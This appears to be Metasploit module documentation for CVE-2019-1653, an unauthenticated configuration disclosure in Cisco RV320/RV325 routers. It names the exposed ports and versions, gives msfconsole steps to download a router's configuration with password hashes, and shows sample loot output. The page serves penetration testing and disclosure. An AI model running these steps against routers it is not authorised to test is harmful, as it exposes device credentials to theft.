Vulnerable Application
CVE-2019-1653 (aka Cisco Bugtracker ID CSCvg85922) is an unauthenticated disclosure of device configuration information for the Cisco RV320/RV325 small business router. The vulnerability was responsibly disclosed by RedTeam Pentesting GmbH.
An exposed remote administration interface (on :443) would allow an attacker to retrieve password hashes and other sensitive device configuration information. On version 1.4.2.15, the vulnerability is exploitable via the WAN interface on port 8007 (by default) or 443 (if remote administration is enabled), in addition to port 443 on the LAN side. On version 1.4.2.17, only LAN port 443 is accessible by default, but user configuration can open port 443 for remote management on the WAN side, making the device vulnerable externally.
More context is available from Rapid7's blog post.
Verification Steps
Start msfconsole
use auxiliary/gather/cisco_rv320_config
set RHOSTS 192.168.1.1 (default LAN IP) or to the WAN interface
run
Review the downloaded configuration file cited in the output. For example:
[+] Stored configuration (128658 bytes) to /home/administrator/.msf4/loot/20190206213439_default_192.168.1.1_cisco.rv.config_791561.txt
If the database is connected, review the hosts, creds, and loot commands
Options
SSL: Should be set to 'true' for port 443 and set to 'false' for port 80 or port 8007.
TARGETURI: Should point to the /cgi-bin/config.exp endpoint and likely should never be changed.
